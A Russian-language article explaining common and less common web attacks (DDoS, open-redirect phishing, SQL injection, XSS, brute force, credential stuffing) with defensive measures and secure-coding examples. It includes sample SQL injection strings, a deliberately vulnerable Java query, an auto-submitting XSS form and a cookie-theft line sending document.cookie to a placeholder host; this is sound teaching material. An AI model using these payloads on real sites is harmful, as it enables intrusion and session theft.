Типичные и нетипичные атаки на ваш веб сайт
Разбираем типичные и не типичные типы атак на ваш сайт
Список самых распространенных можно посмотреть в списке OWASP
Начнемс!
Distributed denial-of-service attack (DDoS attack)
DDoS-атака (Distributed Denial of Service attack) - атака способнная частично или полностью вывести из строя веб сайт. На данный момент практически невозможна ситуация, когда хакер в одиночку организует DDoS-атаку. В большинстве случаев злоумышленник использует сеть из компьютеров, зараженных вирусом. Вирус позволяет получать необходимый и достаточный удаленный доступ к зараженному компьютеру. Сеть из таких компьютеров называется ботнет. Схематически это можно отобразить так:
Самые распространенные типы DoS атак:
Volumetric Attacks
Самая распространенная DDoS-атака перекрывает пропускную способность сети машины, спамя ее ложными запросами по каждому открытом порту. Поскольку бот заполняет порты данными, машине постоянно приходится проверять запросы на вредоносные данные, и она не успевает отвечать на обычные запросы. UDP-потоки и ICMP-потоки представляют собой две основные формы объемных атак.
Атака Smurf или ICMP-флуд — один из самых опасных видов DoS-атак, так как у компьютера-жертвы после такой атаки произойдет отказ в обслуживании практически со 100 % гарантией. Злоумышленник использует широковещательную рассылку для проверки работающих узлов в системе, отправляя ping-запрос.
Атака Fraggle (UDP флуд) является полным аналогом Smurf-атаки, где вместо ICMP пакетов используются пакеты UDP, поэтому её ещё называют UDP-флуд. Принцип действия этой атаки простой: на седьмой порт жертвы отправляются echo-команды по широковещательному запросу. Затем подменяется ip-адрес злоумышленника на ip-адрес жертвы, которая вскоре получает множество ответных сообщений. Их количество зависит от числа узлов в сети. Эта атака приводит к насыщению полосы пропускания и полному отказу в обслуживании жертвы. При этом, если служба echo отключена, то будут сгенерированы ICMP-сообщения, что также приведёт к насыщению полосы
Атаки на уровне приложения
Прикладной уровень — это самый верхний уровень сетевой модели OSI и самый близкий к взаимодействию пользователя с системой. Атаки, использующие прикладной уровень, фокусируются в основном на прямом веб-трафике. Потенциальные возможности включают HTTP, HTTPS, DNS или SMTP.
Атаки на уровне приложений не так легко уловить, потому что они обычно используют меньшее количество машин, иногда даже одну. Таким образом, сервер можно обмануть, чтобы рассматривать атаку как не что иное, как более высокий объем обычного трафика.
Другие
На самом деле, способов очень много, если интересно, все возможные можно просмотреть тут.
7 рекомендаций по предотвращению DDoS-атак:
1. Разработайте план реагирования на отказ в обслуживании.
Ваша инфраструктура должна быть готова быстро заскейлится или дропнуть инстансы которые перестали отвечать, так же вы должны уметь быстро пересоздать ваши инстансы. Если сказать другими словами, то все действия должны быть заскриптованы DevOps инженером, чтобы MTTR (Mean time to repair) было максимально коротким.
2. Защитите свою сетевую инфраструктуру.
Это включает в себя передовые системы предотвращения вторжений и управления угрозами, которые сочетают в себе брандмауэры, VPN, защиту от спама, фильтрацию контента, балансировку нагрузки и другие уровни методов защиты от DDoS. Вместе они обеспечивают постоянную и последовательную защиту сети для предотвращения DDoS-атаки. Это включает в себя все от выявления возможных несоответствий трафика с высочайшим уровнем точности в блокировании атаки. Обычно, если вы используете Cloud такой, как: Azure, AWS, GCP, то эта защита уже входит в состав апликейшина, либо предоставляется в виде отдельного ресурса.
3. Практика базовой безопасности сети
Самая основная контрмера для предотвращения DDoS-атак состоит в том, чтобы допустить как можно меньше ошибок пользователя.
Внедрение строгих мер безопасности может помешать бизнес-сетям быть скомпрометированными. Методы обеспечения безопасности включают сложные пароли, которые меняются на регулярной основе, методы защиты от фишинга и защищенные брандмауэры, которые пропускают мало внешнего трафика. Одни только эти меры не остановят DDoS, но они служат критической основой безопасности.
4. Поддерживать сильную сетевую архитектуру
Сосредоточение внимания на архитектуре защищенной сети жизненно важно для безопасности. Бизнес должен создавать избыточные сетевые ресурсы; если один сервер атакован, другие могут обработать дополнительный сетевой трафик. По возможности, серверы должны быть расположены в разных местах географически. Распределенные ресурсы более сложны для атакующих.
5. Используйте Cloud
Как я и говорил выше, в клауде уже реализованы способы защиты от атак, так же в клауде больше ресурсов и больше пропускная способность для защиты от DDoS. Помимо этого клауд можно использовать как прокси для защиты от DDoS. Гибридные решения могут быть удобны для достижения правильного баланса между безопасностью и гибкостью, особенно с поставщиками, предлагающими индивидуальные решения.
6. Реагировать на "предупреждающие знаки"
Некоторые симптомы DDoS-атаки включают в себя замедление работы сети, нестабильное подключение к корпоративной сети компании или периодическое отключение веб-сайтов. Ни одна сеть не является идеальной, но если нехватка производительности кажется продолжительной или более серьезной, чем обычно, сеть, вероятно, испытывает DDoS, и компания должна принять меры.
7. Защита от DDoS как сервис
Используйте готовые решения которые позволят защититься от DDoS, такие, как:
Phishing
Фишинг (от англ. phishing – выуживание) – это вид интернет-мошенничества, который заключается в краже конфиденциальных данных пользователей. Проще говоря, злоумышленники «разводят» пользователей на то, чтобы они сами раскрыли свои личные данные, например, номера телефонов, номера и секретные коды банковских карт, логины и пароли электронной почты и аккаунтов в социальных сетях. Для этого пользователям предлагают некую услугу или возможность, которая завлекает их на такие действия. Например, пользователям социальной сети ВКонтакте предлагают узнать, кто заходил на их личную страницу (хотя на самом деле такой возможности сама социальная сеть не предоставляет), а клиентам интернет-магазинов предлагают товар с сумасшедшей скидкой.
Интерес злоумышленников может вызвать любая другая конфиденциальная информация. Мошенники «выуживают» данные пользователей под различными благовидными предлогами: проверка авторизации на сайте, необходимость «отписаться» от спама в электронной почте, оплата покупки по бросовой цене или с большой скидкой, необходимость установить новое приложение.
Стоить упомянуть, что может быть несколько типов фишинговых атак:
- Письма на почту
- "Похожие сайты"
- Микс настоящего и похожего сайта
От первых двух мы не сможем защитить наш сайт и пользователя, тк никак не влияем на них. Но вот хотел бы поговорить подробнее про третий.
Пример атаки:
Злоумышленник отправляет юзера на оригинальный сайт, но в качестве redirect url использует сторонний фишинговый сайт. RedirectUrl
часто юзают для переброса юзера на страницы сайта, где нужна авторизация, например RedirectUrl=/user/Profile
, после авторизации юзера закидывают на нужную страницу. Вот этим местом может воспользоваться хакер для редиректа на фишинговый сайт.
Варианты решения:
- Первым делом нужно ограничить обработку урлов с
RedirectUrl
до локальных. - Проверить CORS политики, которые запретят делать с не безопасных ресурсов запросы на ваш ресурс
- Проверить хосты где действуют токены. Если ваш язык и технология позволяет проверять токены на домены куда они выписываются, обязательно нужно использовать эту фишку, если не поддерживают, задумайтесь об кастомной реализации такого решения.
SQL Injection
SQL injection — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода. SQL injection может привести к потере данных, повреждению или разглашению посторонним лицам, потере ответственности или отказу в доступе. Инъекция иногда может привести к полному захвату хоста. Влияние на бизнес зависит от потребностей приложения и данных.
Пример атаки:
Возьмем например код Java, который позволит внедрить SQL инъекцию:
String query = "SELECT account_balance FROM user_data WHERE user_name = "
+ request.getParameter("customerName");
try {
Statement statement = connection.createStatement( ... );
ResultSet results = statement.executeQuery( query );
}
...
Если злоумышленник передаст в качестве параметра user_name строку -1 OR 1=1
, то выполнится совсем другой запрос, не тот что мы изначально ожидали.
Рассмотрим другой пример SQL запроса который может быть у нас в системе:
SELECT id_news, news_date, news_caption, news_text, news_id_author FROM news WHERE news_caption LIKE('%Test%')
Но, внедрив в параметр search_text символ кавычки (который используется в запросе), мы можем кардинально изменить поведение SQL-запроса. Например, передав в качестве параметра search_text значение ')+and+(news_id_author='1
, мы вызовем к выполнению запрос:
SELECT id_news, news_date, news_caption, news_text, news_id_author FROM news
WHERE news_caption LIKE('%') and (news_id_author='1%')
Такого рода манипуляции позволяют хакеру получить доступ к нашей системе.
Есть несколько способов защиты от SQL инъекций:
Способ №1. Использование параметризованных запросов
параметризованных запросы гарантируют, что злоумышленник не сможет изменить запрос, даже если злоумышленник вставит команды SQL. В приведенном ниже безопасном примере, если злоумышленник попробует заинджектить следующий код: tom' or '1'='1
, параметризованный запрос не будет уязвим и вместо этого будет искать имя пользователя, которое буквально соответствует всей строке tom 'или' 1 '' = 1.
Рекомендации как писать безопасные запросы на разных языках:
Java
В следующем примере кода для выполнения того же запроса к базе данных используется PreparedStatement:
// This should REALLY be validated too
String custname = request.getParameter("customerName");
// Perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
.NET
С .NET это еще проще. Создание и выполнение запроса не меняется. Все, что вам нужно сделать, это просто передать параметры в запрос с помощью вызова Parameters.Add (), как показано здесь.
String query = "SELECT account_balance FROM user_data WHERE user_name = ?";
try {
OleDbCommand command = new OleDbCommand(query, connection);
command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));
OleDbDataReader reader = command.ExecuteReader();
// …
} catch (OleDbException se) {
// error handling
}
Так же вторым примером защиты может служить SQL Command
:
private static void Update(Int32 customerID,
string demoXml, string connectionString)
{
string commandText = "UPDATE Sales.Store SET Demographics = @demographics "
+ "WHERE CustomerID = @ID;";
using (SqlConnection connection = new SqlConnection(connectionString))
{
SqlCommand command = new SqlCommand(commandText, connection);
command.Parameters.Add("@ID", SqlDbType.Int);
command.Parameters["@ID"].Value = customerID;
command.Parameters.AddWithValue("@demo", demoXml);
try
{
connection.Open();
Int32 rowsAffected = command.ExecuteNonQuery();
Console.WriteLine("RowsAffected: {0}", rowsAffected);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
PHP
Используйте PDO с строго-типизируемыми запросами (используя bindParam())
Node.js
connection.query("SELECT * FROM bank_accounts WHERE dob = :dob AND bank_account = :account_number",{
dob: req.body.dob,
account_number: req.body.account_number
},function(error, results){});
Способ №2. Хранимые процедуры
Хранимые процедуры не всегда защищены от SQL инъекции. Однако некоторые стандартные конструкции в языках которые вызывают хранимые процедуры имеют тот же эффект, что и способ №1.
Пример безопасного вызова процедуры на Java:
String custname = request.getParameter("customerName");
try {
CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}
Способ №3. Whitelist входящих параметров
Этот способ может быть подходящим в том случае, когда количество входных параметров ограничено. Например Enum или сортировка (ASC, DESC), но в случае когда это что-то другое, писать вайтлист по параметру запроса может быть излишним.
Способ №4. Escaping всех вводимых пользователем данных
Эту технику следует использовать только в качестве крайней меры, когда ничего из перечисленного выше нельзя реализовать. Но эта методология слаба по сравнению с другими средствами защиты, и OWASP не может гарантировать, что она предотвратит все SQL-инъекции во всех ситуациях.
Эта техника работает следующим образом: каждая СУБД поддерживает одну или несколько схем экранирования символов, специфичных для определенных типов запросов. Если вы затем экранируете все введенные пользователем данные, используя правильную схему экранирования для используемой вами базы данных, СУБД не будет путать эти данные с кодом SQL, написанным разработчиком, что позволит избежать любых возможных уязвимостей внедрения SQL. OWASP написали для этого библиотеку которая работает с разными языками программирования.
Способ №5 Ограниченный доступ
Чтобы минимизировать потенциальный ущерб от успешной атаки SQL-инъекцией, вы должны минимизировать привилегии, назначенные каждой учетной записи базы данных. Не назначайте права доступа администратора или администратора для ваших учетных записей приложений. Мы понимаем, что это легко, и все просто «работает», но это очень опасно. Начните с нуля, чтобы определить, какие права доступа требуются вашим учетным записям приложений, а не пытаться выяснить, какие права доступа вам нужно отобрать. Убедитесь, что учетные записи, которым нужен только доступ для чтения, получают доступ только для чтения к тем таблицам, к которым им нужен доступ.
Несколько пользователей БД
Разработчик веб-приложений должен не только избегать использования одной и той же учетной записи owner/admin в веб-приложениях для подключения к базе данных. Для разных веб-приложений могут использоваться разные пользователи БД.
Как правило, каждое отдельное веб-приложение, которому требуется доступ к базе данных, может иметь назначенную учетную запись пользователя базы данных, которую веб-приложение будет использовать для подключения к БД. Таким образом, разработчик приложения может построить правильное управление доступом, максимально уменьшая привилегии. Каждый пользователь БД получит доступ к тому, что ему нужно, и доступ на запись по мере необходимости.
Например, для страницы входа требуется доступ на чтение к полям имени пользователя и пароля таблицы, но нет доступа на запись какой-либо формы (без вставки, обновления или удаления). Однако страница регистрации, безусловно, требует наличия прав на вставку в эту таблицу; это ограничение может быть применено только в том случае, если эти веб-приложения используют разных пользователей БД для подключения к базе данных.
Views (представления)
Вы можете использовать представления SQL для дальнейшего увеличения степени детализации доступа путем ограничения доступа для чтения к определенным полям таблицы или объединениям таблиц. Это позволить ограничить зону атаки, тк ваше представление будет иметь доступ только к тем таблицам и колонкам, которые вы открываете для этой вьюшки.
Birthday attack
Birthday attack - это очень интересная разновидность атаки которая осуществляются против алгоритмов хеширования, которые используются для проверки целостности сообщения, программного обеспечения или цифровой подписи. Сообщение, обработанное хеш-функцией, создает хэш фиксированной длины, не зависящий от длины входного сообщения; этот кэш уникально характеризует сообщение. Birthday attack относится к вероятности нахождения двух случайных сообщений, которые генерируют один и тот же хэш при обработке хеш-функцией. Если злоумышленник вычисляет тот же самый MD для своего сообщения, что и пользователь, он может заменить сообщение пользователя своим, и получатель не сможет обнаружить замену, даже если он сравнивает хэш.
Как решать эту проблему?
Golden bullet для этой проблемы не существует, но нужно стараться использовать максимально сложные хэш функции (забыть про MD5 и SHA без соли). Хороший алгоритм + соль является приемлемым решением этой проблемы
Brute-force
Brute-force - это перебор значений паролей с попыткой войти под чужим аккаунтом.
В криптографии на вычислительной сложности полного перебора основывается оценка криптостойкости шифров. В частности, шифр считается криптостойким, если не существует метода «взлома» существенно более быстрого чем полный перебор всех ключей. Криптографические атаки, основанные на методе полного перебора, являются самыми универсальными, но и самыми долгими.
Важно понимать, что перебор может происходить по разным типам словарей (в тч это может быть список украденных паролей)
Способ решения проблемы с Brut-force:
- Скрытие страниц входа администратора и клиента путем изменения их имен по умолчанию
- Требуйте в политике паролей надежные уникальные пароли - чем дольше, тем лучше.
- Изменение имени пользователя по умолчанию «admin» на уникальное
- Ограничение частоты попыток входа в систему для учетной записи с помощью различных действий:
- Блокировка учетной записи после достижения указанного количества попыток входа
- Обеспечение двухфакторной аутентификации, CAPTCHA или других форм проверки
- Запрет нескольких попыток входа с одного IP-адреса
- Внедрение методов безопасного хеширования паролей
- Наблюдение за новыми или существующими учетными записями пользователей с высоким уровнем активности и без покупок
- Использование возможностей автоматической защиты от ботов путем автоматического анализа поведения
Cross-site scripting (XSS) атака
XSS это возможность злоумышленника определенным образом интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.
Типы XSS атак:
Пассивная и активная XSS уязвимость
Существует два типа XSS уязвимостей — пассивная и активная.
Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в бд или файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.
Пассивная уязвимость: тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.
Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.
<form method="post" action="http://site.com/page.php">
<input type="hidden" name="var" value="<script>alert('xss')</script>">
</form>
<script type="text/javascript">
document.getElementsByTagName('form')[0].submit();
</script>
Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).
Кража Cookies
Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш)), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.
var іmg = new Image();
іmg.srс = 'http://site/xss.php?' + document.cookie;
Поэтому и ввели доменные ограничения на XMLHttpRequest
, но злоумышленнику это не страшно, поскольку есть <iframe>, <img>, <script>, background:url();
и т.п.
Кража данных из форм
Злоумышленник может найти форму через getElementById()
и отследить событие onsubmit
. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.
Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.
DDoS-атака
XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:
<img src="http://site.com/">
Подделка межсайтовых запросов (CSRF/XSRF)
Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.
Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника. (об этом подробнее я рассказывал в разделе фишинг).
XSS-черви
Этот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.
Безобидный XSS
Интересно, что счетчики по своей сути тоже являются в некотором роде активной XSS-атакой. Ведь на сторонний сервер передаются данные о посетителе, как, например, его IP-адрес, разрешение монитора и т.п. Только код в свою страничку вы интегрируете по собственной воле. Взгляните, например, на код Google Analytic.
Таким же безобидным XSS можно считать и кроссдоменные AJAX-запросы.
Защита от XSS
1. Все возможные места где злоумышленник может вставить код, нужно эскейпить (подобное тому как я описывал в SQL Injection блоке)
2. Заголовок X-XSS-Protection
предназначен для включения фильтра межсайтового скриптинга, встроенного во всех современных браузерах. Он позволит, например, предотвратить выполнение тега <script> в URL страницы
Заголовок ответа HTTP X-XSS-Protection
это особенность Internet Explorer, Chrome и Safari, которая останавливает загрузку страниц при обнаружении (XSS) атаки. Хотя эти меры защиты не требуются в большинстве случаев для современных браузеров, когда сайты внедряют сильную политику безопасности контента Content-Security-Policy
, которая отключает использование встроенного JavaScript ('unsafe-inline'
), они могут обеспечить защиту для пользователей, использующих устаревшие версии браузеров, не поддерживающих CSP.
3. Кастомное решение
Использование компонентов с уязвимостями
Современный девелопмент сложно представить без менеджера пакетов, например Nuget, npm и другие. Часто уязвимость может быть внедрена в какой-то популярный пакет
Решение
Существует достаточно много анализаторов для пакетов на уязвимости, используйте один из них как шаг билда к примеру в CI/CD. Таким образом вы будете знать, если будут какие-то потенциальные уязвимости в пакетах, которые вы подключили к своему солюшину.
Недостаточное логирование & мониторинг
Чем опасно?
Злоумышленник надеется на то, что система не логирует все необходимые действия юзера. Тем самым вы не сможете выявить противоправные действия юзера. Эта уязвимость входит в топ 10 уязвимостей OWASP.
Критерии того что ваше приложение уязвимо:
- Аудиторские события, такие как входы в систему, неудачные входы в систему и важные транзакции, не регистрируются.
- Warnings и Errors генерируют неадекватные или нечеткие сообщения в логах.
- Логи приложений и API не отслеживаются на предмет подозрительной активности.
- Логи хранятся только локально.
- Соответствующие пороги оповещения и процессы эскалации реагирования отсутствуют или не эффективны.
- Penetration testing и сканирование с помощью инструментов DAST (таких как OWASP ZAP ) не вызывают оповещения.
- Приложение не может обнаруживать, расширять или оповещать об активных атаках в режиме реального времени или почти в реальном времени.
Как предотвратить эту ошибку
- Убедитесь, что все ошибки входа в систему, контроля доступа и проверки входных данных на стороне сервера логируются с достаточным контекстом пользователя для выявления подозрительных или злонамеренных учетных записей и храниться в течение достаточного времени для проведения анализа через некоторое время.
- Убедитесь, что логи создаются в формате, который можно легко использовать для centralized log management solutions (Logstash, Splunk, Grafana. Azure log analytics и другие).
- Убедитесь, что важные транзакции имеют audit trail с элементами управления целостностью, чтобы предотвратить подделку или удаление. На подобии того как мы это делаем в базах данных.
- Обеспечить эффективный мониторинг и оповещение таким образом, чтобы подозрительные действия обнаруживались на них своевременно реагировали.
- Разработать или принять план реагирования на инциденты и восстановления, такой как NIST 800-61 rev 2 или более поздний.
Теперь давайте подумаем какие еще могут быть типы атак? Далее я буду описывать не типические типы атак (те которые не описаны в Top N атак) с которыми сталкивался я в своей практике.
Вывод детальных ошибок на клиент
Довольно часто, разработчики возвращают вместе с 500-кой еще и детальную ошибку, чтобы проще дебажить, но при этом эта ошибка может нести критически важную информацию, которая поможет хакеру в зломе вашей системы.
Чем опасно?
К примеру рассмотрим картинку ниже, которую я взял с приложения моего ЖК:
Как видим, в деталях ошибки указан локальный адрес веб камеры, это может быть опасно, ведь если злоумышленник получит доступ к сети, то добраться до камеры не составит труда. Так же это может быть детали реализации или к примеру валидации тех или иных ошибок, которые помогут хакеру понять как вы защищаете или валидируете те или иные поля.
Как решить?
Решение этой проблемы довоольно простое, нужно настроить политику ошибок на localonly или QA only, это позволит исключить детали ошибки на продакшине.
Вход в систему под взломаными аккаунтами на других ресурсах (credential stuffing)
Довольно интересный кейс, который был в моей практике.
Хакер взял базу с 640k аккаунтами и паролями ps4 и начал пробовать входить в аккаунты с этими данными на наш портал. Думаю он предварительно так же либо воспользовался уязвимостью (наш сайт возвращал статус код, при попытке зарегистрироватся с мейлом, который уже существует), либо отфильтровал эмейлы и пароли по стране (портал работал только на територии одной страны).
Далее он начал входить в аккаунты и покупать товары, гифкарты, менять пароли и в целом делать все возможное чтобы нанести вред ресурсу. Эта атака чем-то похоже на Brut-force который мы описывали ранее, но проблема в том, что он с помощью скрипта отобрал аккаунты, к которым подходил логин и пароль, тем самым он успешно входил в аккаунты.
Этот тип атаки называется credential stuffing, которая означает ситуацию, когда логины и пароли пользователей похищаются с одних сервисов с целью использования этих данных в отношении других.
Как защититься от credential stuffing?
Первое, что нам помогло, это то что у нас был уникальный идентификатор сесии, который генерировался каждому юзеру в виде куки, мы его использовали для проверки во время регистрации. Если юзер зарегался более 3х раз с 1 browserId - мы его банили. Но так как юзер не регистрировался, а только входил в аккаунт. эта логика не помогла. Но она помогла в логах увидеть количество юзеров к которым он получил доступ (было порядка нескольких тысяч, причем старых юзеров, тк утечка ps4 довольно старая). Мы исполозовали browserId в связке с IP (тк он мог чистить куку в тч во время логинов)
Когда мы выявили список "инфицированных" юзеров мы предприняли следующие действия:
- Сбросили пароли этим юзерам
- Удалили рефреш токены. Таким образом хакер должен был опять зайти в аккаунт
- Добавили подтверждение по почте для смены пароля (ранее можно было просто ввести старый пароль и новый пароль и поменять его, что хакер и делал, тк он знал старый пароль юзера)
- Добавили для гифт карт которые покупал хакер отправку их на email (ранее они приходили в кабинет юзера)
- Создали "античит" который проверял количество входов с ip и BrowserId, если оно превышало число, которое мы указали в конфиге, мы запрещали вход в аккаунт
- Добавили проверку страны по IP (для нас это было реллеватно, тк у нас сайт работал только для определенной страны, ранее эта проверка была для регистрации, но не для входа)
- Добавили логирование и проверку на вхождение IP в блеклист, для критических endpoint'ов, таких как покупка, просмотр товара, и тд.
- Добавили логику входа с нового девайса. Юзер должен подтвердить вход по email или телефону
Но тут возникла еще одна проблемка, помимо Web API для SPA, у нас был еще и API для мобильных юзеров. Все шаги выше естественно были продублированы и туда. Возникла другая проблема, он мог продолжать перебирать старых юзеров на мобильном API, тк естественно никакой captcha там не было и не может быть.
Как защитится от от credential stuffing в Mobile API?
1. Password Authentication Delay
Вы можете использовать Password Authentication Delay как способ предотвращения спама на Endpoint
Пример реализации
private void AuthenticateRequest(object obj, EventArgs ea)
{
HttpApplication objApp = (HttpApplication) obj;
HttpContext objContext = (HttpContext) objApp.Context;
// If user identity is not blank, pause for a random amount of time
if ( objApp.User.Identity.Name != "")
{
Random rand = new Random();
Thread.Sleep(rand.Next(minSeconds, maxSeconds) * 1000);
}
}
Схематически, альтернативный алгоритм может выглядеть как экспоненциальный рост после каждой попытки, к примеру после 3х попыток к-во секунд ожидания растет по экспоненте (чем больше попыток, тем больше ожидать):
Этот способ тоже довольно хорошая альтернатива капчи, особенно для API.
2. API Key Authentication
Еще одним способом может быть API ключ, который получает приложение при первом взаимодействии с Mobile API. Это поможет увеличить безопасность, но если злоумышленник посмотрит "под капот" он может распознать алгоритм и подстроить свой скрипт под этот алгоритм (например получать ключ прежде чем делать запросы)
2. Сертификаты
Наверное самый надежный способ, это сгенерировать сертификаты, которые использовать для коммуникации между мобильным приложением и нашим API. Нужно лишь помнить, что долгоживущие сертификаты это опасно Поэтому нужно придумать флоу их перегенерации, что может занять некоторое время
3. SecurityHash
Для критических запросов можно придумать свой алгоритм защиты, например, чтобы хакер не спамил Endpoint'ы, можно добавить проверку, к примеру добавить логику которая будет брать хэш по телу запроса и добавлять какую-то соль и отправлять этот хэш в хедерах, а API, который обрабатывает эти запросы, будет валидировать подпись, если она не верна, то не обрабатывать запрос.
PS: Пишите нетипичные атаки, с которыми вы сталкивались и мы их добавим в статью.